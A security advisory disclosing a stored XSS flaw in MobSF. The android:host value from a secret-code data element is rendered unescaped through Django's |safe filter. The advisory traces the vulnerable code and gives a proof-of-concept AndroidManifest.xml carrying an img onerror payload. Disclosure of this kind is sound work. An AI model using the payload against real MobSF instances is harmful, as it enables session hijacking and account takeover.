MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field

Summary

A Stored Cross-site Scripting (XSS) vulnerability in MobSF's Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session by uploading a malicious APK. The android:host attribute from <data android:scheme="android_secret_code"> elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.

Details

When MobSF analyzes an Android APK containing a <data> element with android:scheme="android_secret_code", it extracts the android:host attribute and inserts it directly into the analysis report without HTML escaping.

Vulnerable Code Path

1. Data Extraction - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 776):

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))

2. Template String Formatting - mobsf/StaticAnalyzer/views/android/manifest_analysis.py (line 806):

'title': a_template['title'] % t_name,  # XSS payload inserted here unescaped

3. Template Definition - mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py (line 200):

'dialer_code_found': {
    'title': 'Dailer Code: %s Found <br>[android:scheme=\"android_secret_code\"]',
    ...
}

4. Unsafe Rendering - mobsf/templates/static_analysis/android_binary_analysis.html (line 1143):

{{item|key:"title" | safe}}

The |safe Django template filter bypasses auto-escaping, allowing the unescaped android:host value to be rendered as raw HTML.

PoC

Step 1: Create Malicious APK

Create an APK with the following AndroidManifest.xml:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.xsstest"
    android:versionCode="1"
    android:versionName="1.0">

    <application android:label="XSS PoC Test">
        <receiver android:name=".SecretCodeReceiver" android:exported="true">
            <intent-filter>
                <action android:name="android.provider.Telephony.SECRET_CODE"/>
                <data android:scheme="android_secret_code"
                      android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

<img width="1435" height="675" alt="Screenshot 2026-01-15 at 12 24 29 AM" src="https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052" /> <img width="1440" height="780" alt="Screenshot 2026-01-15 at 12 24 57 AM" src="https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e" />